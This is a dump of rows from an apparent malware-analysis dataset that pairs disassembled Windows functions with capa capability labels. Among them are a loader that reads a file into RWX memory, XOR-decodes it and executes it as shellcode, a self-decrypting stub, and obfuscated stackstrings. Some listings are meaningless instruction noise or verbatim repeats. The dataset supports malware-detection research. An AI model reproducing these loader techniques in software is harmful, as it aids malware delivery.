joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dd25
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40ddc2
push ebx
push esi
call fcn.0040dcee
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040dc37
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40dd6f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ddc1
push edi
push eax
call fcn.0040e5c1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40dd8f
call fcn.0040c847
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ddc0
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040dc37
add esp, 0x20
test eax, eax
jne 0x40ddae
push edi
call fcn.0040c847
jmp 0x40ddb6
push ebx
call fcn.0040c847
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40ef86
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
clc
div ecx
test edx, edx
je 0x40ef94
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
inc ebp
ret 0x88ec
pop ebp
ret
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040eca6
Function at 0x40f023
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
in eax, dx
salc
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040ecb6
push eax
push esi
push dword [ebp + 8]
call fcn.0040ec6b
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
xchg esp, eax
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.0040ecb6
push eax
push esi
push dword [ebp + 8]
call fcn.0040ec6b
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49

Function at 0x40f062
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
in eax, dx
salc
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040ecb6
push eax
push esi
push dword [ebp + 8]
call fcn.0040ec6b
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
xchg esp, eax
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.0040ecb6
push eax
push esi
push dword [ebp + 8]
call fcn.0040ec6b
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
Function at 0x40f1d2
Capabilities:
Inspect section memory permissions

Disassembly:
call fcn.0040ec17
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x40f216
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0040ec17
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x40f1e3
call fcn.0040eca6
dec esp
fisub word [ecx + 0x3c7e8bd4]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x40f495
add eax, esi
mov dword [ebp - 0x44], eax

Function at 0x40f86e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lcall 0xffff, 0xfae485c6
lodsb al, byte [esi]
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.0040ecb6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040ec6b
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.0040eca6
add al, 0x76
movsd dword es:[edi], dword [esi]
inc esi
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.0040ecb6
pop ecx
push eax
push dword [ebp + 0x18]
jne 0x40f956
Function at 0x77ba1cc6
Capabilities:
Encode data using xor

Disassembly:
add dword [eax], eax
add byte [eax], al
mov eax, dword [ebp + 0xc]
and eax, dword [ebp + 8]
test ax, ax
je 0x77ba1c51
cmp dword [ebx*4 + 0x77ba45a0], 0
jne 0x77ba1c60
push 0x1c
push 0x40
call dword [0x77ba1030]
xor ecx, ecx
cmp eax, ecx
je 0x77ba1c66
cmp esi, ecx
mov word [ebp + 0x7f0cc67f], sp
xchg ebp, eax
sbb ah, dh
ljmp 0xb87c
jle 0x77ba1bd3
leave
rcl byte [ebx]
xchg ecx, eax
sub edx, dword [ebx]
mov dl, 0x46
fsubr dword [0x28d51b6a]
sar dword [eax + ecx*4 + 0x3c3c66f6], cl
mul byte [esi + 0x3c]
cmp al, 0x2b
cmp al, 0x40
cmp al, 0x3c
sub edi, dword [eax + eax*2]
mov bh, 0xa5
dec esi
test bl, dl
loope 0x77ba1c41
mov edx, 0x435a482c
inc ebx
mov byte [0xbeb43c94], al
mov ah, 0xb3
shl dword [ecx], cl
pop ss
pop ecx
ficomp word [esi + 0x3c]
cmp al, 0xdc
cld
xchg edx, eax
sub byte [ebp + 0x75], ch
mov esp, 0x9c4ae102
shr dword [esi + 0x2339a848], cl
push ds
outsb dx, byte [esi]
jae 0x77ba1c56
mov word [ebx], ss
test dword [edx], ebp
cmp al, 0x3c
cmp al, 0x3c
js 0x77ba1cd7
mov bh, 0xd7
jl 0x77ba1c77
enter 0xffffffffffffaf3f, 0xffffffffffffffd5
adc dword [esi + 0x280448b2], esp
xchg ebx, eax
jge 0x77ba1cca
dec ecx
les eax, [ecx + 0x37]
inc eax
xchg edi, eax
xrelease xchg dword [eax + ecx*2], edi
ror dword [edx - 0x3b], cl
cmp eax, 0xd63c3c3c
int 0xf0
fcmovnbe st(0), st(3)
retf 0xda37
lcall 0xccd0, 0xad83ca03
lodsd eax, dword [esi]
ror ah, 1
je 0x77ba1c54
and edi, dword [ebx - 0x6f2edf89]
nop
scasd eax, dword es:[edi]
stosd dword es:[edi], eax
add al, 0x33
cmp al, 0x3c
insb byte es:[edi], dx
xchg edx, eax
mov dword [edi - 0xd], 0xcdd8d42b
out 0xa9, eax
push esi
popfd
pushfd
cwde
or ch, byte [eax - 0x5eff1730]
push edx
xchg ebp, eax
adc al, 0x3c
cmp al, 0x3c
mov esp, 0xbe329166
test eax, 0x5cd286cf
add bh, byte [eax]
or al, byte [eax]
aaa
mov dh, 0x6b
invalid

Function at 0x77ba33bd
Capabilities:
Encode data using xor

Disassembly:
dec eax
mov word [esi + 0x47], cs
test al, 0x9c
pushfd
pushfd
mov al, byte [0xc14faf00]
xor byte [ebx + 0x3b553cb2], dl
aad 0x56
pop edi
lodsb al, byte [esi]
and eax, 0xf8cb9c3e
pop ds
dec edx
cmp dl, byte [ebx + ecx*4 - 0x156992cf]
aas
lahf
les ecx, [edx - 0x40]
inc eax
sahf
jae 0x77ba33b7
cmp eax, 0x2228c700
mov byte [0xd74403f2], al
dec esi
popfd
aas
or byte [0x9bd61a7c], ch
cmc
loope 0x77ba33f9
jmp [esp + esi*4]
sub al, 0xb4
rol dl, cl
add byte [eax - 0x40], cl
and ch, byte [eax]
and edi, dword [0xc0bffca8]
sub byte [ecx], ah
out 0xcc, eax
mov ss, ebx
movsd dword es:[edi], dword [esi]
dec eax
aaa
rcr edx, 0xa2
sub cl, byte [edi + 0x3c]
cmp al, 0xaf
dec ecx
sub edx, ecx
int3
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x404b33
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4016c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push 0x2c
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x4011c8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call sub.MSVBVM60.DLL___vbaOnError
mov dword [ebp - 4], 3
push 0x402d04
call fcn.00404c1c
mov dword [ebp - 4], 4
mov eax, dword [ebp + 0x10]
cmp word [eax], 0xffff
jne 0x404bb5
mov dword [ebp - 4], 5
mov dword [ebp - 0x24], 0x1d
jmp 0x404bc0
mov dword [ebp - 4], 7
and dword [ebp - 0x24], 0
mov dword [ebp - 4], 9
lea eax, [ebp - 0x24]
push eax
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x38], eax
push 4
push dword [ebp - 0x38]
push 0x1d
xor eax, eax
mov eax, dword [ebp + 0xc]
mov ax, word [eax]
push eax
call fcn.0040307c
call sub.MSVBVM60.DLL___vbaSetSystemError
push 0x404bfe
jmp 0x404bfd
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401110
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x44700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 4
push 0
push 0
push 0x80000000
push str.c:_recoverycd2.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401164
push str.CreateFile_Error
call fcn.00401030
add esp, 4
or eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401340
mov esp, ebp
pop ebp
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
jne 0x4011b0
push str.VirtualAlloc_Error
call fcn.00401030
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401340
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
movaps xmm1, xmmword [0x444d70]
xor edx, edx
mov ecx, ebx
test esi, esi
je 0x401225
cmp esi, 0x10
jb 0x40120c
mov eax, esi
mov dword [ebp - 0xc], esi
and eax, 0xf
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
nop dword [eax + eax]
movups xmm0, xmmword [ecx]
add edx, 0x10
pxor xmm0, xmm1
paddb xmm0, xmm1
pxor xmm0, xmm1
movups xmmword [ecx], xmm0
add ecx, 0x10
cmp edx, eax
jb 0x4011f0
cmp edx, esi
jae 0x401225
sub esi, edx
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [ecx - 1], al
sub esi, 1
jne 0x401212
call dword [ebp - 0x10]
push ebx
call fcn.00401350
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401340
mov esp, ebp
pop ebp
ret

Function at 0x405a50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00405670
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405a82
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x436134]
call dword [ebp - 8]
jmp 0x405a8c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x41da10
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0041d340
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41da44
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x436134]
call dword [ebp - 8]
jmp 0x41da4a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esp, ebp
pop ebp
ret 4

Function at 0x41daa0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0041d380
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41dad4
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x436134]
call dword [ebp - 8]
jmp 0x41dade
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret 4

Function at 0x41daf0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0041d3a0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41db28
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
call dword [0x436134]
call dword [ebp - 8]
jmp 0x41db36
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret 8
Function at 0x424240
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.00406370
lea ecx, [ebp - 4]
call fcn.00424210
movzx eax, al
test eax, eax
jne 0x42427d
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 4]
call fcn.00424150
mov eax, dword [ebp - 0x18]
jmp 0x4243a5
lea ecx, [ebp - 4]
call fcn.00406710
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004241d0
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
sar edx, 1
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
call fcn.00406710
push eax
push 0
push 0
call fcn.00424090
add esp, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4242e3
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 4]
call fcn.00424150
mov eax, dword [ebp - 0x20]
jmp 0x4243a5
push 0x66
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00418680
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.00402d40
lea ecx, [ebp - 8]
call fcn.00402d80
movzx edx, al
test edx, edx
jne 0x42432c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 8]
call fcn.004035e0
lea ecx, [ebp - 4]
call fcn.00424150
mov eax, dword [ebp - 0x24]
jmp 0x4243a5
lea ecx, [ebp - 8]
call fcn.00402dd0
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 4]
call fcn.00406710
mov dword [ebp - 0x2c], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call fcn.00424090
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x424387
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 8]
call fcn.004035e0
lea ecx, [ebp - 4]
call fcn.00424150
mov eax, dword [ebp - 0x34]
jmp 0x4243a5
lea ecx, [ebp - 8]
call fcn.00407e80
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 8]
call fcn.004035e0
lea ecx, [ebp - 4]
call fcn.00424150
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x42a030
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00435440
mov eax, dword [0x44700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x448838]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x42a208
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x42a157
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x42a157
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x42a135
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x42a0b9
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42a1c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x42a228
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x42a203
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x42a228
jmp 0x42a092
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401340
mov esp, ebp
pop ebp
ret
Function at 0x42a240
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00435440
mov eax, dword [0x44700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x448838]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x42a42b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x42a376
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x42a376
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x42a352
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x42a2c9
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42a3e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x42a44b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x42a426
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x42a44b
jmp 0x42a2a2
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
